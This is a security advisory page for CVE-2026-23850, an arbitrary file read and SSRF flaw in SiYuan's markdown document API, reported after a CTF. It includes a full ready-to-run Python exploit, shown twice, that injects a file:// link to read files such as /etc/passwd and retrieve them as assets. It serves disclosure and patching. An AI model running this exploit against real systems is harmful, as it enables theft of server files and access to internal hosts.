GHSA-CV54-7WV7-QXCW
Vulnerability from github – Published: 2026-01-21 01:02 – Updated: 2026-01-21 01:02Summary
Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )
Please note that we used the latest Version and deployed it via this dockerfile :
Dockerfile:
FROM b3log/siyuan
ENV TZ=America/New_York \
PUID=1000 \
PGID=1000 \
SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword
RUN mkdir -p /siyuan/workspace
COPY ./startup.sh /opt/siyuan/startup.sh
RUN chmod +x /opt/siyuan/startup.sh
EXPOSE 6806
ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"]
startup.sh
#!/bin/sh
set -e
echo "nullctf{secret}" > "/flag_random.txt"
exec ./entrypoint.sh
docker-compose.yaml:
services:
main:
build: .
ports:
- 6806:6806
restart: unless-stopped
environment:
- TZ=America/New_York
- PUID=1000
- PGID=1000
container_name: archivists_whisper
Details
As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886
in createDocWithMd function
the markdown parameter is being passed to the model.CreateWithMarkdown without any sanitization
while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to luteEngine.Md2BlockDOM(md, false) without any sanitization too
PoC
Here is a full Python POC ready to run
import requests, sys, os
if len(sys.argv) >= 5 :
TARGET = sys.argv[1].rstrip("/")
PASSWORD = sys.argv[2]
attack_type = sys.argv[3]
if attack_type == "LFD":
file_path = f"file://{sys.argv[4]}"
elif attack_type == "SSRF":
file_path = f"{sys.argv[4]}"
else:
sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link")
TARGET = "http://127.0.0.1:6806"
PASSWORD = "SuperSecretPassword" # Workgroup password
file_path = "/etc/passwd" # file to read
s = requests.Session()
def login():
s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True})
def list_notebooks():
res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json()
notebooks = res["data"]["notebooks"]
if not notebooks:
raise RuntimeError("No notebooks found – create one in the UI first")
notebook = notebooks[0]["id"]
return notebook
def file_to_md(notebook, file_path):
doc_id = s.post(
f"{TARGET}/api/filetree/createDocWithMd",
json={
"notebook": notebook,
"path": "/pwn",
"markdown": f"[loot]({file_path})"
},
).json()["data"]
return doc_id
def convert_file_to_asset(doc_id):
res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": doc_id})
# print(f"Debug : convert", res.text)
def get_new_file_name_from_assets(file_path):
res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"]
if attack_type == "LFD":
new_file_name = f"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-"
else:
new_file_name = f"network-asset-{os.path.basename(file_path)}-"
# print(new_file_name)
for file in res:
# print(file["name"])
if new_file_name in file["name"]:
return file["name"]
def retrieve_file_content(file_name):
return s.get(f"{TARGET}/assets/{file_name}").text
login()
notebook = list_notebooks()
doc_id = file_to_md(notebook, file_path)
# print(f"Debug : Docid", doc_id)
convert_file_to_asset(doc_id)
file_name = get_new_file_name_from_assets(file_path)
file_content = retrieve_file_content(file_name)
if len(file_content) > 0 :
print("Content : ", file_content)
else:
print(f"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name")
File read
SSRF :
We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy
Impact
As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )
Solution
https://github.com/siyuan-note/siyuan/issues/16860
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260118092326-b2274baba2e1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23850"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:02:00Z",
"nvd_published_at": "2026-01-19T20:15:49Z",
"severity": "HIGH"
},
"details": "### Summary\nMarkdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access\nWe in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )\n\nPlease note that we used the latest Version and deployed it via this dockerfile : \n\nDockerfile:\n```\nFROM b3log/siyuan\n\nENV TZ=America/New_York \\\n PUID=1000 \\\n PGID=1000 \\\n SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword\n \nRUN mkdir -p /siyuan/workspace\n\nCOPY ./startup.sh /opt/siyuan/startup.sh\nRUN chmod +x /opt/siyuan/startup.sh\n\nEXPOSE 6806\n\nENTRYPOINT [\"sh\", \"-c\", \"/opt/siyuan/startup.sh\"]\n```\n\nstartup.sh\n```sh\n#!/bin/sh\nset -e\necho \"nullctf{secret}\" \u003e \"/flag_random.txt\"\nexec ./entrypoint.sh\n\n```\ndocker-compose.yaml:\n\n```yaml\nservices:\n main:\n build: .\n ports:\n - 6806:6806\n restart: unless-stopped\n environment:\n - TZ=America/New_York\n - PUID=1000\n - PGID=1000\n container_name: archivists_whisper\n```\n### Details\nAs you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886\nin `createDocWithMd` function\nthe `markdown` parameter is being passed to the model.CreateWithMarkdown without any sanitization \nwhile here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to `luteEngine.Md2BlockDOM(md, false)` without any sanitization too\n\n### PoC\nHere is a full Python POC ready to run \n```py\nimport requests, sys, os\n\nif len(sys.argv) \u003e= 5 :\n TARGET = sys.argv[1].rstrip(\"/\")\n PASSWORD = sys.argv[2]\n attack_type = sys.argv[3]\n if attack_type == \"LFD\":\n file_path = f\"file://{sys.argv[4]}\"\n elif attack_type == \"SSRF\":\n file_path = f\"{sys.argv[4]}\"\nelse:\n sys.exit(f\"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link\")\n TARGET = \"http://127.0.0.1:6806\"\n PASSWORD = \"SuperSecretPassword\" # Workgroup password\n file_path = \"/etc/passwd\" # file to read\n\ns = requests.Session()\n\ndef login():\n s.post(f\"{TARGET}/api/system/loginAuth\", json={\"authCode\": PASSWORD, \"rememberMe\": True})\n\n\ndef list_notebooks():\n res = s.post(f\"{TARGET}/api/notebook/lsNotebooks\").json()\n notebooks = res[\"data\"][\"notebooks\"]\n if not notebooks:\n raise RuntimeError(\"No notebooks found \u2013 create one in the UI first\")\n notebook = notebooks[0][\"id\"]\n return notebook\n\ndef file_to_md(notebook, file_path):\n doc_id = s.post(\n f\"{TARGET}/api/filetree/createDocWithMd\",\n json={\n \"notebook\": notebook,\n \"path\": \"/pwn\",\n \"markdown\": f\"[loot]({file_path})\"\n },\n ).json()[\"data\"]\n return doc_id\n\ndef convert_file_to_asset(doc_id):\n res = s.post(f\"{TARGET}/api/format/netAssets2LocalAssets\", json={\"id\": doc_id})\n # print(f\"Debug : convert\", res.text)\n\ndef get_new_file_name_from_assets(file_path):\n res = s.post(f\"{TARGET}/api/file/readDir\", json={\"path\": \"/data/assets\"}).json()[\"data\"]\n if attack_type == \"LFD\":\n new_file_name = f\"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-\"\n else:\n new_file_name = f\"network-asset-{os.path.basename(file_path)}-\"\n # print(new_file_name)\n for file in res:\n # print(file[\"name\"])\n if new_file_name in file[\"name\"]:\n return file[\"name\"]\n \n\ndef retrieve_file_content(file_name):\n return s.get(f\"{TARGET}/assets/{file_name}\").text\n\n\nlogin()\nnotebook = list_notebooks()\ndoc_id = file_to_md(notebook, file_path)\n# print(f\"Debug : Docid\", doc_id)\nconvert_file_to_asset(doc_id)\nfile_name = get_new_file_name_from_assets(file_path)\nfile_content = retrieve_file_content(file_name)\nif len(file_content) \u003e 0 :\n print(\"Content : \", file_content)\nelse:\n print(f\"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name\")\n```\n\n### File read\n\u003cimg width=\"928\" height=\"333\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb\" /\u003e\n\u003cimg width=\"800\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a\" /\u003e\n\n### SSRF : \nWe spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy\n\n\u003cimg width=\"822\" height=\"63\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf\" /\u003e\n\n\n### Impact\nAs shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )\n\n### Solution\n\nhttps://github.com/siyuan-note/siyuan/issues/16860",
"id": "GHSA-cv54-7wv7-qxcw",
"modified": "2026-01-21T01:02:00Z",
"published": "2026-01-21T01:02:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-cv54-7wv7-qxcw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23850"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/issues/16860"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/b2274baba2e11c8cf8901b0c5c871e5b27f1f6dd"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/f8f4b517077b92c90c0d7b51ac11be1b34b273ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "SiYuan vulnerable to Arbitrary file Read / SSRF"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.